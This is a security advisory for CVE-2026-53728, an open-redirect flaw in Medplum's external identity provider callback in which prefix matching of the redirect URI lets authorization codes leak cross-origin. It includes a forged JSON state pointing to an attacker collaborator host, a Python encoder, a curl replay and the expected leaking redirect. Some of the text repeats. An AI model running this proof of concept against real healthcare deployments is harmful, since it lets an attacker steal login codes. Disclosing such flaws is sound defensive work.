CVE-2026-53728

Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.

Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.

Summary

The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.

Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.

Technical Explanation

The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.

In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:

• getClientRedirectUri(client, body.redirectUri, true)

The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:

• requestedUri.startsWith(uri)

As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().

Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.

A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:

• Registered: http://callback.audit.local
• Malicious: http://callback.audit.local.oastify.com/cb

The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.

Steps to Reproduce

Preconditions

• The target ClientApplication has an identityProvider configured.
• The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
  • Registered redirect URI: http://callback.audit.local
• The attacker controls a collaborator endpoint such as:
  • https://<collaborator-host>/cb
• The attacker uses a forged state.redirectUri that starts with the registered value, for example:
  • http://callback.audit.local.oastify.com/cb
  • or a collaborator domain that matches your local proof setup

Example forged state

{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}

URL-encode the forged state

python3 - <<'PY'
import json, urllib.parse
state = {
  "clientId": "<medplum-client-id>",
  "redirectUri": "http://callback.audit.local.oastify.com/cb",
  "codeChallenge": "attack-verifier-123",
  "codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY

Replay the external callback with cURL Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly: curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>

Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:

HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>…

Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.

Medplum is a developer platform that enables development of healthcare apps. Prior to version 5.1.6, the external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect. Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak. This issue has been patched in version 5.1.6.

Summary

The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.

Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.

Technical Explanation

The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.

In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:

• getClientRedirectUri(client, body.redirectUri, true)

The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:

• requestedUri.startsWith(uri)

As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().

Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.

A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:

• Registered: http://callback.audit.local
• Malicious: http://callback.audit.local.oastify.com/cb

The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.

Steps to Reproduce

Preconditions

• The target ClientApplication has an identityProvider configured.
• The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
  • Registered redirect URI: http://callback.audit.local
• The attacker controls a collaborator endpoint such as:
  • https://<collaborator-host>/cb
• The attacker uses a forged state.redirectUri that starts with the registered value, for example:
  • http://callback.audit.local.oastify.com/cb
  • or a collaborator domain that matches your local proof setup

Example forged state

{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}

URL-encode the forged state

python3 - <<'PY'
import json, urllib.parse
state = {
  "clientId": "<medplum-client-id>",
  "redirectUri": "http://callback.audit.local.oastify.com/cb",
  "codeChallenge": "attack-verifier-123",
  "codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY

Replay the external callback with cURL Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly: curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>

Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:

HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>…